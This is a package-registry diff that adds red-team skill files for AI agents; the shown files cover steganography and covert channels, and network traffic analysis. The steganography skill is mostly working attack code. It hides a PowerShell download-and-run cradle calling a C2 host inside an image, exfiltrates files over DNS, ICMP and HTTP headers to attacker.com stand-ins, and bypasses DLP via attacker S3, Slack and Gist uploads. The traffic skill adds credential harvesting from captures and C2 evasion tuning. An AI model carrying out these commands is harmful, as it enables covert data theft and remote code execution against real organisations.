rtexit-method 0.1.4 → 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-adfs/SKILL.md +209 -0
- package/packaged-assets/.agents/skills/rt-azure-ad/SKILL.md +315 -0
- package/packaged-assets/.agents/skills/rt-binary-reverse-engineering/SKILL.md +304 -0
- package/packaged-assets/.agents/skills/rt-citrix-vdi/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-crypto-attacks/SKILL.md +350 -0
- package/packaged-assets/.agents/skills/rt-exchange-sharepoint/SKILL.md +256 -0
- package/packaged-assets/.agents/skills/rt-exploit-fuzzing/SKILL.md +301 -0
- package/packaged-assets/.agents/skills/rt-hardware-hacking/SKILL.md +253 -0
- package/packaged-assets/.agents/skills/rt-network-segmentation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-password-spray/SKILL.md +298 -0
- package/packaged-assets/.agents/skills/rt-redteam-infra/SKILL.md +333 -0
- package/packaged-assets/.agents/skills/rt-ssl-mitm/SKILL.md +305 -0
- package/packaged-assets/.agents/skills/rt-steganography/SKILL.md +293 -0
- package/packaged-assets/.agents/skills/rt-traffic-analysis/SKILL.md +283 -0
- package/packaged-assets/.agents/skills/rt-wireless-rogue-ap/SKILL.md +276 -0
- package/packaged-assets/.agents/skills/rt-wordlist-generation/SKILL.md +288 -0
|
@@ -0,0 +1,293 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-steganography
|
|
3
|
+
description: "Steganography detection, extraction, and covert channel exploitation skill for authorized engagements. LSB steganography detection in images/audio, StegSolve analysis, outguess and steghide extraction, DNS tunneling for C2 and data exfiltration, ICMP covert channel, HTTP header hiding, and polyglot file creation. Use when testing data exfiltration controls, covert channel detection, or analyzing suspicious files."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-steganography — Steganography & Covert Channels
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Steganography hides data inside legitimate files (images, audio, video, documents). Covert channels transmit data through unexpected protocol fields. In red team engagements these are used for: stealthy C2 communication, data exfiltration bypassing DLP, and hiding payloads inside innocent-looking files.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Steganography Detection
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Install tools
|
|
18
|
+
apt install steghide outguess stegosuite binwalk exiftool -y
|
|
19
|
+
pip3 install stegano
|
|
20
|
+
|
|
21
|
+
# Check file for embedded data
|
|
22
|
+
steghide info suspicious.jpg # Check if steghide used
|
|
23
|
+
steghide extract -sf suspicious.jpg -p "" # Try empty password
|
|
24
|
+
|
|
25
|
+
# Check metadata for hidden info
|
|
26
|
+
exiftool suspicious.jpg # EXIF data — can contain hidden text
|
|
27
|
+
exiftool -all= clean.jpg # Strip all metadata (for cleanup)
|
|
28
|
+
|
|
29
|
+
# binwalk — find embedded files
|
|
30
|
+
binwalk suspicious.jpg
|
|
31
|
+
binwalk -e suspicious.jpg # Extract embedded content
|
|
32
|
+
# Look for: PK (zip), JFIF (jpeg), PNG header embedded in another file
|
|
33
|
+
|
|
34
|
+
# Check for appended data after EOF
|
|
35
|
+
xxd suspicious.jpg | tail -20
|
|
36
|
+
# Normal JPEG ends with: FF D9
|
|
37
|
+
# Data after FF D9 = hidden content
|
|
38
|
+
|
|
39
|
+
# File size anomaly detection
|
|
40
|
+
# Expected JPG at resolution X×Y should be ~N bytes
|
|
41
|
+
# If much larger → hidden data likely
|
|
42
|
+
identify -verbose suspicious.jpg | grep "File size"
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
### 1b — LSB Analysis with StegSolve
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
# StegSolve — visual steganography analyzer
|
|
49
|
+
# java -jar stegsolve.jar
|
|
50
|
+
|
|
51
|
+
# Manual LSB check (Python)
|
|
52
|
+
python3 << 'EOF'
|
|
53
|
+
from PIL import Image
|
|
54
|
+
|
|
55
|
+
def extract_lsb(image_path, num_bits=1):
|
|
56
|
+
img = Image.open(image_path).convert("RGB")
|
|
57
|
+
pixels = list(img.getdata())
|
|
58
|
+
bits = ""
|
|
59
|
+
for pixel in pixels:
|
|
60
|
+
for channel in pixel:
|
|
61
|
+
bits += str(channel & 1) # LSB of each channel
|
|
62
|
+
# Convert bits to text
|
|
63
|
+
chars = [bits[i:i+8] for i in range(0, len(bits), 8)]
|
|
64
|
+
text = ""
|
|
65
|
+
for c in chars:
|
|
66
|
+
try:
|
|
67
|
+
char = chr(int(c, 2))
|
|
68
|
+
if char.isprintable():
|
|
69
|
+
text += char
|
|
70
|
+
else:
|
|
71
|
+
break
|
|
72
|
+
except: break
|
|
73
|
+
return text[:500] # First 500 printable chars
|
|
74
|
+
|
|
75
|
+
result = extract_lsb("suspicious.jpg")
|
|
76
|
+
print("LSB content:", result)
|
|
77
|
+
EOF
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### 1c — Statistical Detection
|
|
81
|
+
|
|
82
|
+
```bash
|
|
83
|
+
# StegoVeritas — comprehensive stego analysis
|
|
84
|
+
pip3 install stegoveritas
|
|
85
|
+
stegoveritas suspicious.jpg -out ./analysis/
|
|
86
|
+
# Tests: LSB, metadata, appended data, color histograms, etc.
|
|
87
|
+
|
|
88
|
+
# zsteg — detect in PNG/BMP
|
|
89
|
+
gem install zsteg
|
|
90
|
+
zsteg suspicious.png # Try all common stego methods
|
|
91
|
+
zsteg -a suspicious.png # Try all channels
|
|
92
|
+
|
|
93
|
+
# Audio steganography detection
|
|
94
|
+
apt install mp3stego sox -y
|
|
95
|
+
mp3stego -X suspicious.mp3 # Check MP3 for hidden data
|
|
96
|
+
|
|
97
|
+
# Spectrum analysis (audio)
|
|
98
|
+
python3 << 'EOF'
|
|
99
|
+
import numpy as np
|
|
100
|
+
import scipy.io.wavfile as wav
|
|
101
|
+
import matplotlib.pyplot as plt
|
|
102
|
+
|
|
103
|
+
rate, data = wav.read("suspicious.wav")
|
|
104
|
+
freq = np.fft.fft(data[:rate]) # First second
|
|
105
|
+
plt.specgram(data, Fs=rate, cmap='inferno')
|
|
106
|
+
plt.savefig("spectrum.png")
|
|
107
|
+
# Visual: hidden text/images sometimes visible in spectrogram
|
|
108
|
+
EOF
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
---
|
|
112
|
+
|
|
113
|
+
## Phase 2 — Embed Data (Red Team Exfiltration)
|
|
114
|
+
|
|
115
|
+
```bash
|
|
116
|
+
# Steghide — embed file in JPEG/BMP/WAV/AU
|
|
117
|
+
steghide embed -cf cover.jpg -sf secret.txt -p "passphrase" -sf output.jpg
|
|
118
|
+
# -cf = cover file, -sf = secret file, -p = password
|
|
119
|
+
|
|
120
|
+
# Hide PowerShell payload in image
|
|
121
|
+
echo "IEX(New-Object Net.WebClient).DownloadString('http://C2/shell.ps1')" > payload.txt
|
|
122
|
+
steghide embed -cf photo.jpg -sf payload.txt -p "" -f # No password, force
|
|
123
|
+
|
|
124
|
+
# Extract on target
|
|
125
|
+
steghide extract -sf photo.jpg -p ""
|
|
126
|
+
|
|
127
|
+
# Outguess (harder to detect)
|
|
128
|
+
outguess -k "secretkey" -d hidden.txt cover.jpg output.jpg
|
|
129
|
+
outguess -k "secretkey" -r output.jpg recovered.txt
|
|
130
|
+
|
|
131
|
+
# Hide in document metadata
|
|
132
|
+
exiftool -Comment="BASE64_PAYLOAD" document.pdf
|
|
133
|
+
exiftool -Artist="$(cat payload.txt | base64)" photo.jpg
|
|
134
|
+
|
|
135
|
+
# Polyglot file (valid as two different formats)
|
|
136
|
+
# JPEG + ZIP polyglot — opens as image AND contains ZIP
|
|
137
|
+
cat cover.jpg payload.zip > polyglot.jpg
|
|
138
|
+
# unzip polyglot.jpg → extracts ZIP contents
|
|
139
|
+
# browser/image viewer → shows image
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## Phase 3 — DNS Tunneling (C2 / Exfiltration)
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
# DNS tunneling encodes data in DNS queries/responses
|
|
148
|
+
# Bypasses most firewalls (DNS port 53 almost always allowed)
|
|
149
|
+
|
|
150
|
+
# iodine — full IP tunnel over DNS
|
|
151
|
+
# Server (needs a domain with NS record pointing to your server)
|
|
152
|
+
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com
|
|
153
|
+
# Client (on compromised host)
|
|
154
|
+
iodine -f -P password tunnel.attacker.com
|
|
155
|
+
# Creates tun0 with 10.0.0.2 → full IP connectivity over DNS
|
|
156
|
+
|
|
157
|
+
# dnscat2 — DNS C2 (simpler, no root needed)
|
|
158
|
+
# Server
|
|
159
|
+
ruby dnscat2.rb --dns "domain=tunnel.attacker.com,host=0.0.0.0" --secret=password
|
|
160
|
+
|
|
161
|
+
# Client (on target)
|
|
162
|
+
./dnscat --dns domain=tunnel.attacker.com --secret=password
|
|
163
|
+
# Or PowerShell client:
|
|
164
|
+
IEX (New-Object Net.WebClient).DownloadString('http://C2/Invoke-DNScat.ps1')
|
|
165
|
+
Invoke-DNScat -Domain tunnel.attacker.com -Secret password
|
|
166
|
+
|
|
167
|
+
# Manual DNS exfiltration (no tool needed — extreme environments)
|
|
168
|
+
# Split secret into 63-char DNS label chunks
|
|
169
|
+
python3 << 'EOF'
|
|
170
|
+
import base64, subprocess
|
|
171
|
+
|
|
172
|
+
secret = open("sensitive_data.txt", "rb").read()
|
|
173
|
+
encoded = base64.b32encode(secret).decode().lower().rstrip("=")
|
|
174
|
+
chunks = [encoded[i:i+60] for i in range(0, len(encoded), 60)]
|
|
175
|
+
for i, chunk in enumerate(chunks):
|
|
176
|
+
# Each chunk = DNS query → logged by attacker's DNS server
|
|
177
|
+
subprocess.run(["nslookup", f"{i}.{chunk}.exfil.attacker.com"], capture_output=True)
|
|
178
|
+
EOF
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
---
|
|
182
|
+
|
|
183
|
+
## Phase 4 — ICMP Covert Channel
|
|
184
|
+
|
|
185
|
+
```bash
|
|
186
|
+
# ptunnel-ng — TCP over ICMP (bypasses TCP-blocking firewalls)
|
|
187
|
+
# Server (attacker)
|
|
188
|
+
ptunnel-ng -p ATTACKER_IP
|
|
189
|
+
|
|
190
|
+
# Client (compromised host — only ICMP allowed out)
|
|
191
|
+
ptunnel-ng -p ATTACKER_IP -lp 8022 -da INTERNAL_SSH_HOST -dp 22
|
|
192
|
+
# Routes TCP port 8022 → ICMP → INTERNAL_SSH_HOST:22
|
|
193
|
+
ssh -p 8022 user@localhost
|
|
194
|
+
|
|
195
|
+
# Manual ICMP data hiding
|
|
196
|
+
python3 << 'EOF'
|
|
197
|
+
from scapy.all import *
|
|
198
|
+
|
|
199
|
+
# Hide data in ICMP echo request payload
|
|
200
|
+
secret = b"stolen_credential_hash_here"
|
|
201
|
+
packet = IP(dst="8.8.8.8") / ICMP(type=8, code=0) / Raw(load=secret)
|
|
202
|
+
send(packet)
|
|
203
|
+
|
|
204
|
+
# Receive: monitor ICMP on attacker side
|
|
205
|
+
sniff(filter="icmp and icmp[icmptype]=8",
|
|
206
|
+
prn=lambda p: print("RECV:", bytes(p[Raw])))
|
|
207
|
+
EOF
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
## Phase 5 — HTTP/HTTPS Covert Channels
|
|
213
|
+
|
|
214
|
+
```bash
|
|
215
|
+
# Hide data in HTTP headers (not logged by most proxies)
|
|
216
|
+
curl https://target.com/ \
|
|
217
|
+
-H "X-Custom-Data: $(echo 'stolen data' | base64)" \
|
|
218
|
+
-H "X-Request-ID: $(cat /etc/passwd | head -1 | base64)"
|
|
219
|
+
|
|
220
|
+
# HTTP timing channel (encode bits via request timing)
|
|
221
|
+
python3 << 'EOF'
|
|
222
|
+
import requests, time
|
|
223
|
+
|
|
224
|
+
def send_bit(bit, url):
|
|
225
|
+
if bit == '1':
|
|
226
|
+
time.sleep(0.5) # Delay = 1 bit
|
|
227
|
+
requests.get(url) # Request = 0 bit
|
|
228
|
+
|
|
229
|
+
secret = "SECRET"
|
|
230
|
+
bits = ''.join(format(ord(c), '08b') for c in secret)
|
|
231
|
+
for bit in bits:
|
|
232
|
+
send_bit(bit, "https://attacker.com/beacon")
|
|
233
|
+
EOF
|
|
234
|
+
|
|
235
|
+
# Exfil in User-Agent or other headers
|
|
236
|
+
# (many DLP tools don't inspect all headers)
|
|
237
|
+
curl "https://www.google.com" \
|
|
238
|
+
-H "User-Agent: Mozilla/5.0 $(cat sensitive.txt | base64 | tr -d '\n' | head -c 100)"
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
---
|
|
242
|
+
|
|
243
|
+
## Phase 6 — DLP Bypass Techniques
|
|
244
|
+
|
|
245
|
+
```bash
|
|
246
|
+
# Bypass Data Loss Prevention controls
|
|
247
|
+
|
|
248
|
+
# Encode data to avoid keyword detection
|
|
249
|
+
cat sensitive.txt | base64 | curl -X POST https://attacker.com/ -d @-
|
|
250
|
+
cat sensitive.txt | gzip | base64 | curl -X POST https://attacker.com/ -d @-
|
|
251
|
+
|
|
252
|
+
# Embed in image (DLP can't scan steganography)
|
|
253
|
+
steghide embed -cf innocent.jpg -sf sensitive.txt -p "key" && \
|
|
254
|
+
curl -X POST https://fileupload.attacker.com/ -F "file=@innocent.jpg"
|
|
255
|
+
|
|
256
|
+
# Exfil via cloud storage (often whitelisted by DLP)
|
|
257
|
+
aws s3 cp sensitive.txt s3://attacker-bucket/ --acl public-read
|
|
258
|
+
# Or: Google Drive, Dropbox, OneDrive via API
|
|
259
|
+
|
|
260
|
+
# Exfil over allowed SaaS APIs
|
|
261
|
+
# Slack: post to attacker-controlled workspace
|
|
262
|
+
curl -X POST https://slack.com/api/files.upload \
|
|
263
|
+
-H "Authorization: Bearer ATTACKER_TOKEN" \
|
|
264
|
+
-F file=@sensitive.txt -F channels=C0123456
|
|
265
|
+
|
|
266
|
+
# GitHub Gist
|
|
267
|
+
curl -X POST https://api.github.com/gists \
|
|
268
|
+
-H "Authorization: token ATTACKER_TOKEN" \
|
|
269
|
+
-d "{\"public\":false,\"files\":{\"data.txt\":{\"content\":\"$(base64 sensitive.txt)\"}}}"
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
---
|
|
273
|
+
|
|
274
|
+
## Skill Levels
|
|
275
|
+
|
|
276
|
+
**BEGINNER:** steghide/binwalk for detection · Basic LSB extraction · DNS exfiltration via nslookup
|
|
277
|
+
|
|
278
|
+
**INTERMEDIATE:** iodine/dnscat2 C2 tunnel · ICMP covert channel · Embed payloads in images · DLP bypass via encoding
|
|
279
|
+
|
|
280
|
+
**ADVANCED:** ptunnel-ng TCP-over-ICMP · Custom ICMP/HTTP covert channels · Statistical stego detection
|
|
281
|
+
|
|
282
|
+
**EXPERT:** Custom DNS C2 protocol · Timing covert channels · Steganography in video streams · Anti-forensic exfiltration
|
|
283
|
+
|
|
284
|
+
---
|
|
285
|
+
|
|
286
|
+
## References
|
|
287
|
+
|
|
288
|
+
- iodine: https://github.com/yarrick/iodine
|
|
289
|
+
- dnscat2: https://github.com/iagox86/dnscat2
|
|
290
|
+
- ptunnel-ng: https://github.com/utoni/ptunnel-ng
|
|
291
|
+
- steghide: https://steghide.sourceforge.net
|
|
292
|
+
- zsteg: https://github.com/zed-0xff/zsteg
|
|
293
|
+
- MITRE T1048: https://attack.mitre.org/techniques/T1048/
|
|
@@ -0,0 +1,283 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-traffic-analysis
|
|
3
|
+
description: "Network traffic capture and analysis skill for authorized engagements. Wireshark capture filters and display filters, tcpdump workflows, credential extraction from pcap files, protocol identification, C2 traffic analysis, TLS fingerprinting (JA3/JA3S), detecting lateral movement in packet captures, and automated pcap analysis with NetworkMiner and Zeek. Use when analyzing captured network traffic, verifying C2 traffic profile, or investigating network-level evidence."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-traffic-analysis — Network Traffic Capture & Analysis
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Traffic analysis in red teaming serves two purposes: finding credentials and sensitive data in captured traffic, and verifying that your own C2 traffic blends in and avoids detection signatures.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Capture Setup
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# tcpdump — command line capture
|
|
18
|
+
# Capture all traffic on interface
|
|
19
|
+
tcpdump -i eth0 -w capture.pcap
|
|
20
|
+
|
|
21
|
+
# Capture specific host
|
|
22
|
+
tcpdump -i eth0 host 10.10.10.50 -w target.pcap
|
|
23
|
+
|
|
24
|
+
# Capture specific port range
|
|
25
|
+
tcpdump -i eth0 'port 80 or port 443 or port 8080' -w web.pcap
|
|
26
|
+
|
|
27
|
+
# Capture credentials (unencrypted protocols)
|
|
28
|
+
tcpdump -i eth0 'port 21 or port 23 or port 110 or port 143 or port 25' -w cleartext.pcap
|
|
29
|
+
# 21=FTP, 23=Telnet, 110=POP3, 143=IMAP, 25=SMTP
|
|
30
|
+
|
|
31
|
+
# Capture from remote host (pipe over SSH)
|
|
32
|
+
ssh user@PIVOT_HOST "tcpdump -i eth0 -w - 'not port 22'" | wireshark -k -i -
|
|
33
|
+
|
|
34
|
+
# Promiscuous mode (capture all traffic on segment)
|
|
35
|
+
tcpdump -i eth0 -p # -p = don't use promiscuous (default on)
|
|
36
|
+
ip link set eth0 promisc on # Enable promiscuous
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## Phase 2 — Wireshark Filters
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
# Credential extraction filters
|
|
45
|
+
|
|
46
|
+
# HTTP POST requests (login forms)
|
|
47
|
+
http.request.method == "POST"
|
|
48
|
+
|
|
49
|
+
# HTTP basic auth
|
|
50
|
+
http.authorization
|
|
51
|
+
|
|
52
|
+
# FTP credentials
|
|
53
|
+
ftp.request.command == "PASS" or ftp.request.command == "USER"
|
|
54
|
+
|
|
55
|
+
# Telnet (capture stream)
|
|
56
|
+
telnet
|
|
57
|
+
|
|
58
|
+
# SMTP auth
|
|
59
|
+
smtp.auth
|
|
60
|
+
|
|
61
|
+
# NTLM authentication (all protocols)
|
|
62
|
+
ntlmssp
|
|
63
|
+
|
|
64
|
+
# Kerberos
|
|
65
|
+
kerberos
|
|
66
|
+
|
|
67
|
+
# DNS queries (C2 detection / data exfiltration detection)
|
|
68
|
+
dns
|
|
69
|
+
|
|
70
|
+
# Long DNS queries (possible DNS tunneling)
|
|
71
|
+
dns.qry.name.len > 50
|
|
72
|
+
|
|
73
|
+
# SMB file access
|
|
74
|
+
smb2.cmd == 5 # SMB2 Read
|
|
75
|
+
|
|
76
|
+
# Key display filters
|
|
77
|
+
ip.addr == 10.10.10.50 # Traffic to/from specific host
|
|
78
|
+
ip.src == 10.10.10.0/24 # From subnet
|
|
79
|
+
tcp.port == 4444 # Specific port (C2 detection)
|
|
80
|
+
frame.len > 1400 # Large packets
|
|
81
|
+
tcp.flags.syn == 1 && tcp.flags.ack == 0 # SYN scan detection
|
|
82
|
+
http.response.code == 200 # Successful HTTP responses
|
|
83
|
+
ssl.handshake.type == 1 # TLS Client Hello
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## Phase 3 — Automated Credential Extraction
|
|
89
|
+
|
|
90
|
+
```bash
|
|
91
|
+
# NetworkMiner — GUI tool, auto-extracts credentials from pcap
|
|
92
|
+
# https://www.netresec.com/?page=NetworkMiner
|
|
93
|
+
mono NetworkMiner.exe capture.pcap
|
|
94
|
+
# Credentials tab → all extracted usernames/passwords
|
|
95
|
+
|
|
96
|
+
# PCredz — automated credential extraction
|
|
97
|
+
git clone https://github.com/lgandx/PCredz
|
|
98
|
+
python3 PCredz.py -f capture.pcap
|
|
99
|
+
# Extracts: HTTP Basic, FTP, Telnet, POP3, IMAP, SNMP community strings, NTLMv1/v2
|
|
100
|
+
|
|
101
|
+
# Dsniff tools
|
|
102
|
+
dsniff -p capture.pcap # Extract passwords from pcap
|
|
103
|
+
urlsnarf -p capture.pcap # Extract URLs
|
|
104
|
+
msgsnarf -p capture.pcap # IM/chat messages
|
|
105
|
+
mailsnarf -p capture.pcap # Email contents
|
|
106
|
+
|
|
107
|
+
# Extract HTTP credentials with tshark
|
|
108
|
+
tshark -r capture.pcap -Y "http.request.method==POST" \
|
|
109
|
+
-T fields -e http.host -e http.request.uri -e urlencoded-form.value
|
|
110
|
+
|
|
111
|
+
# Extract all HTTP request bodies
|
|
112
|
+
tshark -r capture.pcap -Y "http" -T fields \
|
|
113
|
+
-e ip.src -e ip.dst -e http.request.method \
|
|
114
|
+
-e http.request.uri -e http.file_data
|
|
115
|
+
|
|
116
|
+
# NTLM hash extraction
|
|
117
|
+
tshark -r capture.pcap -Y "ntlmssp.auth" -T fields \
|
|
118
|
+
-e ntlmssp.auth.username -e ntlmssp.auth.domain \
|
|
119
|
+
-e ntlmssp.ntlmserverchallenge -e ntlmssp.auth.ntresponse
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## Phase 4 — TLS Fingerprinting (JA3/JA3S)
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# JA3 fingerprints identify TLS clients (browsers, malware, tools)
|
|
128
|
+
# JA3S fingerprints identify TLS servers
|
|
129
|
+
# Use to: verify your C2 traffic, detect blue team tools, identify malware
|
|
130
|
+
|
|
131
|
+
# Install ja3
|
|
132
|
+
pip3 install pyja3
|
|
133
|
+
|
|
134
|
+
python3 << 'EOF'
|
|
135
|
+
import pyshark
|
|
136
|
+
|
|
137
|
+
cap = pyshark.FileCapture('capture.pcap', display_filter='ssl.handshake.type==1')
|
|
138
|
+
for pkt in cap:
|
|
139
|
+
try:
|
|
140
|
+
ja3 = pkt.ssl.handshake_type
|
|
141
|
+
print(f"Src: {pkt.ip.src} → JA3: {pkt.ssl.ja3}")
|
|
142
|
+
except: pass
|
|
143
|
+
EOF
|
|
144
|
+
|
|
145
|
+
# Compare against known JA3 databases
|
|
146
|
+
# https://ja3er.com/
|
|
147
|
+
# Cobalt Strike default JA3: 72a7c4f3d7c7cdbf3f8b1c1e9dbf3c1f (well-known, blocked)
|
|
148
|
+
# → Use malleable profile to change JA3
|
|
149
|
+
|
|
150
|
+
# tshark JA3 extraction
|
|
151
|
+
tshark -r capture.pcap -Y "tls.handshake.type==1" \
|
|
152
|
+
-T fields -e ip.src -e tls.handshake.ja3
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## Phase 5 — C2 Traffic Verification
|
|
158
|
+
|
|
159
|
+
```bash
|
|
160
|
+
# Before engagement: verify your own C2 traffic blends in
|
|
161
|
+
# Capture your beacon traffic → analyze for detection signatures
|
|
162
|
+
|
|
163
|
+
# Check beacon interval regularity (beacons are too regular = detectable)
|
|
164
|
+
python3 << 'EOF'
|
|
165
|
+
from scapy.all import rdpcap, IP
|
|
166
|
+
import statistics
|
|
167
|
+
|
|
168
|
+
pkts = rdpcap("c2_traffic.pcap")
|
|
169
|
+
times = [p.time for p in pkts if IP in p and p[IP].dst == "C2_IP"]
|
|
170
|
+
intervals = [times[i+1]-times[i] for i in range(len(times)-1)]
|
|
171
|
+
print(f"Mean interval: {statistics.mean(intervals):.2f}s")
|
|
172
|
+
print(f"Std deviation: {statistics.stdev(intervals):.2f}s")
|
|
173
|
+
# Low stdev = too regular → increase jitter in C2 profile
|
|
174
|
+
EOF
|
|
175
|
+
|
|
176
|
+
# Check packet sizes (uniform sizes = suspicious)
|
|
177
|
+
tshark -r c2_traffic.pcap -T fields -e frame.len | sort | uniq -c | sort -rn | head -10
|
|
178
|
+
# All same size = suspicious → add padding in malleable profile
|
|
179
|
+
|
|
180
|
+
# Check DNS query frequency
|
|
181
|
+
tshark -r c2_traffic.pcap -Y dns -T fields -e dns.qry.name | \
|
|
182
|
+
awk '{print $1}' | sort | uniq -c | sort -rn | head -20
|
|
183
|
+
# Unusual subdomains or high frequency = DNS C2 signature
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
---
|
|
187
|
+
|
|
188
|
+
## Phase 6 — Zeek (Bro) Analysis
|
|
189
|
+
|
|
190
|
+
```bash
|
|
191
|
+
# Zeek generates structured logs from pcap — easier to query than raw pcap
|
|
192
|
+
apt install zeek -y
|
|
193
|
+
|
|
194
|
+
# Analyze pcap
|
|
195
|
+
zeek -r capture.pcap
|
|
196
|
+
ls *.log
|
|
197
|
+
# conn.log = all connections
|
|
198
|
+
# http.log = HTTP requests
|
|
199
|
+
# dns.log = DNS queries
|
|
200
|
+
# ssl.log = TLS connections
|
|
201
|
+
# files.log = transferred files
|
|
202
|
+
# weird.log = protocol anomalies
|
|
203
|
+
|
|
204
|
+
# Find C2 beacons (regular connections)
|
|
205
|
+
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration | \
|
|
206
|
+
awk '$4 < 1' | sort | uniq -c | sort -rn | head -20
|
|
207
|
+
# Regular short connections to same host = beacon pattern
|
|
208
|
+
|
|
209
|
+
# DNS tunneling detection
|
|
210
|
+
cat dns.log | zeek-cut query | awk '{print length($1), $1}' | \
|
|
211
|
+
sort -rn | head -20 | awk '$1 > 50'
|
|
212
|
+
# Long DNS queries = tunneling
|
|
213
|
+
|
|
214
|
+
# Data exfiltration detection
|
|
215
|
+
cat conn.log | zeek-cut id.orig_h id.resp_h orig_bytes | \
|
|
216
|
+
sort -k3 -rn | head -10
|
|
217
|
+
# Large outbound transfers
|
|
218
|
+
|
|
219
|
+
# HTTP user-agent analysis
|
|
220
|
+
cat http.log | zeek-cut user_agent | sort | uniq -c | sort -rn
|
|
221
|
+
# Unusual user agents = custom tools
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
---
|
|
225
|
+
|
|
226
|
+
## Phase 7 — Protocol Identification
|
|
227
|
+
|
|
228
|
+
```bash
|
|
229
|
+
# Identify unknown protocols in captures
|
|
230
|
+
|
|
231
|
+
# Wireshark: Analyze → Decode As → try different protocols
|
|
232
|
+
|
|
233
|
+
# tshark protocol summary
|
|
234
|
+
tshark -r capture.pcap -q -z io,phs
|
|
235
|
+
# Shows protocol hierarchy
|
|
236
|
+
|
|
237
|
+
# Find non-standard ports with known protocols
|
|
238
|
+
tshark -r capture.pcap -q -z conv,tcp | head -20
|
|
239
|
+
# Port 4444, 8888 etc = likely C2
|
|
240
|
+
|
|
241
|
+
# ngrep — grep through packet payloads
|
|
242
|
+
ngrep -q -I capture.pcap "password|secret|token" tcp
|
|
243
|
+
|
|
244
|
+
# strings on pcap
|
|
245
|
+
strings capture.pcap | grep -iE "password|api_key|secret|token|Authorization"
|
|
246
|
+
|
|
247
|
+
# Identify binary protocols by magic bytes
|
|
248
|
+
python3 << 'EOF'
|
|
249
|
+
from scapy.all import rdpcap, Raw
|
|
250
|
+
pkts = rdpcap("capture.pcap")
|
|
251
|
+
for pkt in pkts:
|
|
252
|
+
if Raw in pkt:
|
|
253
|
+
payload = bytes(pkt[Raw])
|
|
254
|
+
if payload[:2] == b'\x4d\x5a':
|
|
255
|
+
print("PE executable in traffic!")
|
|
256
|
+
elif payload[:4] == b'\x50\x4b\x03\x04':
|
|
257
|
+
print("ZIP file in traffic!")
|
|
258
|
+
elif b'JFIF' in payload[:20] or b'\xff\xd8\xff' == payload[:3]:
|
|
259
|
+
print("JPEG in traffic!")
|
|
260
|
+
EOF
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
---
|
|
264
|
+
|
|
265
|
+
## Skill Levels
|
|
266
|
+
|
|
267
|
+
**BEGINNER:** tcpdump capture + Wireshark display filters for credentials · PCredz automated extraction
|
|
268
|
+
|
|
269
|
+
**INTERMEDIATE:** JA3 fingerprinting + C2 traffic profiling · Zeek analysis + DNS tunneling detection
|
|
270
|
+
|
|
271
|
+
**ADVANCED:** Custom Zeek scripts for behavioral analysis · Beacon interval analysis + jitter verification
|
|
272
|
+
|
|
273
|
+
**EXPERT:** ML-based traffic classification · Custom protocol dissectors · Full traffic replay and modification
|
|
274
|
+
|
|
275
|
+
---
|
|
276
|
+
|
|
277
|
+
## References
|
|
278
|
+
|
|
279
|
+
- Wireshark display filters: https://wiki.wireshark.org/DisplayFilters
|
|
280
|
+
- PCredz: https://github.com/lgandx/PCredz
|
|
281
|
+
- Zeek: https://zeek.org
|
|
282
|
+
- JA3: https://github.com/salesforce/ja3
|
|
283
|
+
- MITRE T1040: https://attack.mitre.org/techniques/T1040/
|